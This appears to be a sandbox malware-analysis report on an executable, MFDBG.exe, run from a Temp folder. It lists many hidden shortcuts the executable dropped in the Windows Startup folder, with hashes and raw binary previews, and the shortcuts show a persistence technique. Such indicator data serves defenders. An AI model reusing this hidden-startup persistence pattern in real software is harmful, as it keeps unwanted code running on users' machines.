Preview:	L..................F...."...]W%.{...0:..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9f067218d9c4ddd86d955cc7edfa6e8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935859517255612
Encrypted:	false
SSDEEP:	24:86hBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wp0R6rMhpBoUBxdRd1nYyg
MD5:	154781F8B9E4D65601DD6F5E5FD9067A
SHA1:	06389F7BCB557197EFFBB975DE9F29B07C719C09
SHA-256:	5F5966445F3EA2BDA4E839A0E4AC4315D9BA807237A72FAC7852350749A7838C
SHA-512:	78D0D808929EB6C59F39CD750F15E37F7330775AB0BA5387B8FB78E7380D07B433C5C4ABB6DB277D6AD1FC9F483E85560ACB1CD2A0DC713D4004837827E0B3A3
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba0647e87d174101967374f78a4911a2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514902
Encrypted:	false
SSDEEP:	24:8WhBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:889c0R6rMhpBoUBxdRd1nYyg
MD5:	7424DCD8DAFFA313260CD0CE48ECDF0E
SHA1:	E63BDDD59BB6F4E52AC8DF20638C962E0C47EE46
SHA-256:	CEFF4FB0BB19FE29337C6680D0D36E245DC9D3487D250C22AF4B81C52E1D9CBF
SHA-512:	FDE665C2CEC00F20FFB7EF36A789265C4DF15A2A1192DA550335C4FD31BF11E0338590EE5115C80A6F252880DF576E67AB851D747E3FF3D50E07830954E7C559
Malicious:	false
Preview:	L..................F...."...]W%.{....)b.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba34d1e44675424b9c5154d3e72c824c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940429641491467
Encrypted:	false
SSDEEP:	24:8yhBfA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8490R6rMhpBoUBxdRd1nYyg
MD5:	D2D1113870C4E44C69929673B85498F0
SHA1:	195F08EE5921C18885836AC9198DC39C14FBEFD2
SHA-256:	848D36598B3667E14FC74E8B77F20B69A547D1C4FF94D315F6EF2FDBD97B3032
SHA-512:	06E2F8A7090BD0EC88BF340A2E949D8D330D0D60A5AB8958A10D5B0E91A70391DDE456A6399D404F80D15656670FB7E312024DF65705A21B2138F45B30BD3C35
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...(...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bafc4a94acbc4ef393d61b2e14e0b2aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.947134170543832
Encrypted:	false
SSDEEP:	24:8ShBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ya0R6rMhpBoUBxdRd1nYyg
MD5:	7C865D567D2E025B77645F7696AA684A
SHA1:	D85DE61E6F68E1C977C42D84F61D26516F53DF94
SHA-256:	EA020D97A99ABCA6F4BE3B2C3AEEB2950D830C93CD3F573555B846B96956938C
SHA-512:	C5D8E7A14C9274E86A54784BA3DD89DF2BEAD8A874EEF5156AD88C3EBFD1D5094A481BD0BE1DCA54084B4684D4D365D38C57BA673D62AA0E019C80CDBA5DF2F8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb07012e56ee49609fa25b2b97943965.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152358
Encrypted:	false
SSDEEP:	24:8ShBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Yr0R6rMhpBoUBxdRd1nYyg
MD5:	0F39E0AF73F88316E7BA8B69DE2C4121
SHA1:	D15BAAFC4BEB6160B03A4162ACC9D6341E6CD373
SHA-256:	3FAB33D491B637915F47E482E8430FD9214ABB4DDE1D31E230C1B1F4F978D241
SHA-512:	D56C655B6768350FACFCB11EAD3B62B867564B1DF6FE6CEDEBA894C8FC61391E4B40FF4C5A566938E0F048F2914831E6A3D9C41305C1897F5B230D93826598B5
Malicious:	false
Preview:	L..................F...."...]W%.{...O...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb4907949cad41ddb5daa29805914775.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129833
Encrypted:	false
SSDEEP:	24:8dhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d70R6rMhpBoUBxdRd1nYyg
MD5:	840E082236B0E115FD52786BA4C91055
SHA1:	573AD95D8CAFF601B0FA358F1E2E673BD602661D
SHA-256:	0C543C30F48BD45A4367EF14697AC0595CE2501A66925D0654801F88073AF3A2
SHA-512:	00FD2C255486CD84D8A89147AC3126F2969CEE6F5F58F28CEE1C13FE2E3D4175E7C9E9A26E596B99D891BEF46AA35180BA2471F612229E33F269AD73B106F587
Malicious:	false
Preview:	L..................F...."...]W%.{...u.q.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bba021d010974598acfcd7086cb5c6aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93045059164628
Encrypted:	false
SSDEEP:	24:8ThBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8n90R6rMhpBoUBxdRd1nYyg
MD5:	F39AFE1CFCC035BFFF977D3F5267586E
SHA1:	D53828F323A1DC3A57B317A827F62A07BB3F705F
SHA-256:	3ACC8A806C050D64099B123FA1543EC44316E2CD6E23A8ACB9D61D0DA3000517
SHA-512:	A42E4E8D1F1FE2352A3520DF62A044CC29F3D659791FAAFB84E2CCBA2DF4E0383577DDCA6CF1964C5B362D251032A9B52AFB929545C5BE212B1395200951BD8F
Malicious:	false
Preview:	L..................F...."...]W%.{...?.{.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbb3003492d946edae68eba36fffba82.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934242598344935
Encrypted:	false
SSDEEP:	24:8HnhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H7G0R6rMhpBoUBxdRd1nYyg
MD5:	812505ABF47D2B775C61C29DC48E4D25
SHA1:	28E2FDF7317D65144895BCF77A7644540F9202CB
SHA-256:	B61DB0C63A45EBC5BA7B05D69C4068D32EC7D7C128E8312A18A78DE96EFAB894
SHA-512:	5F5F54D2EE18AF58490DE8FE3703609FFC649B0BC75BE00E0FE794FBEB47C667002886A76E98E7D33EDB5108F6DDA5F7B0219FA0BF229D40DA234AF231FFD672
Malicious:	false
Preview:	L..................F...."...]W%.{....L!.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbdb0c2f79b4403fa949451a75908dd7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933502526266656
Encrypted:	false
SSDEEP:	24:8KuhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ps0R6rMhpBoUBxdRd1nYyg
MD5:	05B5E205EA08D385B493D61016F1B008
SHA1:	2F97A30F5F39D54400FA7B3A67447AC0BAF3689C
SHA-256:	8F00CA80434FB1281C98A791281B36272A50FF1FADFBF4A604C5E285A1FB510C
SHA-512:	A2B6AD577BD0F05879A4D2336EAEB982DCB2DA7C9ADD6B7C034A6070386393AB914FB73C45E914EEEA40C7E21AC40EC587C4B9CF897400816700A2C67B3C126F
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbfc91f83c894056881b8a1d7f47bc55.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937695365678462
Encrypted:	false
SSDEEP:	24:8NGhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NM/0R6rMhpBoUBxdRd1nYyg
MD5:	793E3DF64BAE885A181423C43B7F237B
SHA1:	B62FCBBF6C8B159489D6666CFDEE11A537423763
SHA-256:	9C544BC11C0A19B5E677AB52583D8E546F4F5063BCF86866DC379CB92F0796AE
SHA-512:	C60EBC5177FBB1305C9D97D5C301F27FF1D39E1C6681C44E118719123EF249776D77EA9E6067B8F4A2242633EE1FE1CE3071DA47F7B957BAFDD242FF856CFB96
Malicious:	false
Preview:	L..................F...."...]W%.{....J..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc376507c86b4f8e80256b2ecbf35a91.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939872871054679
Encrypted:	false
SSDEEP:	24:8vhBf7T8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zzg0R6rMhpBoUBxdRd1nYyg
MD5:	4C9493E4DEF89EBD95928B7EFDC7C6B1
SHA1:	9EE5129A2F5593504A65C0381CBA70901F4DD70C
SHA-256:	E966455C49B0882B5E1E5E674B7E90C5C1CAC3DCB49155540884FEF3A1C8B401
SHA-512:	5D642A49D2111D726B35A011E2D4B9577B7680CC478A79D6CC387E746C003D67FDB919957FDE099B96360FD74884787EC6A88623F9638FED57899CD38935264B
Malicious:	false
Preview:	L..................F...."...]W%.{....7G.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....h.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc7633581f1949d6973146bfd014dfa6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934197080196982
Encrypted:	false
SSDEEP:	24:8whBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8i/0R6rMhpBoUBxdRd1nYyg
MD5:	B76C13573082B588AE4B54A82658CAAE
SHA1:	214E871A8B13D8542E3F6EDD458A7D0C452CAFA8
SHA-256:	02D0D8A7395C61536A04B755D8234C6D14098C7C7000D60BE815A0E2E04AA6AE
SHA-512:	0800738E492BD7E142094537FDBEB5C76548DF3A21F5D01766916981CB4C12C05FB5A06FD8199DCD4F18FC6E3BB8FEC50DCD296297DE27923F6EFE5732065E44
Malicious:	false
Preview:	L..................F...."...]W%.{.....t.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc9d2157f26d4bd68eae970630422e06.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052346
Encrypted:	false
SSDEEP:	24:8QhBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cr0R6rMhpBoUBxdRd1nYyg
MD5:	9619BED0081E0713ACD93838155EA5F6
SHA1:	2FB8A927FFEA878EAEC405507FDDA32F4B11F438
SHA-256:	260555EA1E919A99AE00DF855468B915409CCB2979EB5618E3A96871A1293B94
SHA-512:	CB8BF9CEB2C623D9ACCB450DC834DB086AA1F4B056D29FB772E8176F4F823C838ACB3DAACC853C5E5994F1C382957AD402B81A795C2EB32130865C19C99844B7
Malicious:	false
